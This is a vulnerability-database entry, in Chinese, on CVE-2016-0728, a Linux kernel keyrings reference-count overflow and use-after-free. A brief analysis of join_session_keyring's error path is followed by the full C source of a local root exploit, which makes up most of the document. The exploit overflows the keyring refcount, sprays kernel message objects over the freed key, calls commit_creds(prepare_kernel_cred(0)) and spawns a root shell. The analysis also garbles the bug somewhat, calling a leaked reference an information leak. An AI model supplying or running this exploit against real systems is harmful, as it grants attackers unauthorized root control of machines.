Lucene search

K
seebugToT0CSSV:91603
HistoryMay 20, 2016 - 12:00 a.m.

Linux内核 Keyrings 引用计数溢出 UAF 漏洞

2016-05-2000:00:00
toT0C
www.seebug.org
109

0.0004 Low

EPSS

Percentile

0.4%

漏洞分析

Linux Kernel的这个漏洞会造成两个影响,第一个是造成信息泄露,可以bypass ASLR,另一个是UAF造成代码执行,利用的是KeyRing机制中的两个漏洞,一个是对Keyring操作控制不严谨,另一个是利用对Keyring计数变量控制不严谨,其中代码执行利用条件相对苛刻,下面对此漏洞进行详细分析。

Keyring信息泄露:

Keyring和安全密钥有关,进程可以申请自己新的keyring,同时也可以通过申请新的keyring替换老的keyring,其中,调用到join_session_keyring函数。

long join_session_keyring(const char *name)
{
 ...
       new = prepare_creds();
 ...
       keyring = find_keyring_by_name(name, false); //find_keyring_by_name increments  keyring->usage if a keyring was found
       if (PTR_ERR(keyring) == -ENOKEY) {
               /* not found - try and create a new one */
               keyring = keyring_alloc(
                       name, old->uid, old->gid, old,
                       KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
                       KEY_ALLOC_IN_QUOTA, NULL);
               if (IS_ERR(keyring)) {
                       ret = PTR_ERR(keyring);
                       goto error2;
               }

这里会通过find_keyring_by_name,去查看当前请求进程是否已经存在keyring,如果不存在,则会创建一个新的keyring,而当存在时,则会执行下面的函数逻辑。

       ret = install_session_keyring_to_cred(new, keyring);
       if (ret < 0)
               goto error2;
       commit_creds(new);
       mutex_unlock(&key_session_mutex);
       ret = keyring->serial;
       key_put(keyring);

会利用新的keyring替换老的keyring,这里都没有问题,但是有另一个函数逻辑是存在问题的地方。

else if (keyring == new->session_keyring) {
               ret = 0;
               goto error2; //<-- The bug is here, skips key_put.
       }

当新申请的keyring和老得keyring相等的时候,则会跳转到error2执行,而在error2里。

error2:
       mutex_unlock(&key_session_mutex);

会调用mutex_unlock泄露keryring的引用信息,造成信息泄露。

释放后重用漏洞:

这个漏洞发生于keyring的计数中,这个计数存放于一个usage数据域中,当每次申请一次keyring,数据域计数就会加1,这个数据域是atomic_t类型,也就是说存在上限。

而在整个过程中,没有对这个数据域计数的大小进行判断,从而导致不断申请keyring直至超过数据域大小的时候,usage会置0,这个过程会释放keyring,而这个过程会产生一个悬垂指针,在申请keyring的时候,通过精心构造这个过程,可以覆盖这个悬垂指针。

覆盖内容使用内核代码,当再次引用的时候,可以引发代码执行。


                                                # Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
 
/* CVE-2016-0728 local root exploit
    modified by Federico Bento to read kernel symbols from /proc/kallsyms
    props to grsecurity/PaX for preventing this in so many ways
 
    $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
    $ ./cve_2016_072 PP_KEY */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
 
#include <sys/ipc.h>
#include <sys/msg.h>
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*  
_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
 
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)
 
 
 
struct key_type {
    char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
};
 
/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;
 
    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }
 
    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }
 
    fclose(f);
    return 0;
}
 
void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
}
 
int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
         unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
         struct key_type * my_key_type = NULL;
 
         struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x4141414141414141, {0}};
    int msqid;
 
    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }
 
        printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred =  
(_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                 prepare_kernel_cred =  
(_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                 if(commit_creds == (_commit_creds)0xffffffff810bb050  
|| prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of  
commit_creds and prepare_kernel_cred in source");
    }
 
        my_key_type = malloc(sizeof(*my_key_type));
 
        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));
 
        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
 
        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
 
        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                perror("msgget");
            exit(1);
        }
 
        keyring_name = argv[1];
 
    /* Set the new session keyring before we start */
 
    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
        }
 
    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL |  
KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }
 
 
    puts("[+] Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                    l = l/2;
                    sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
 
        puts("[+] Finished increfing");
        puts("[+] Forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring  
object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                    perror("[-] fork");
                    return -1;
            }
 
            if (pid == 0) {
                    sleep(2);
                    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                        perror("[-] msgget");
                        exit(1);
                    }
                    for (i = 0; i < 64; i++) {
                        if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                                perror("[-] msgsnd");
                                exit(1);
                        }
                    }
                    sleep(-1);
                    exit(1);
            }
        }
 
        puts("[+] Finished forking");
        sleep(5);
 
        /* call userspace_revoke from kernel */
        puts("[+] Caling revoke...");
        if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
            perror("[+] keyctl_revoke");
        }
 
        printf("uid=%d, euid=%d\n", getuid(), geteuid());
        execl("/bin/sh", "/bin/sh", NULL);
 
        return 0;
}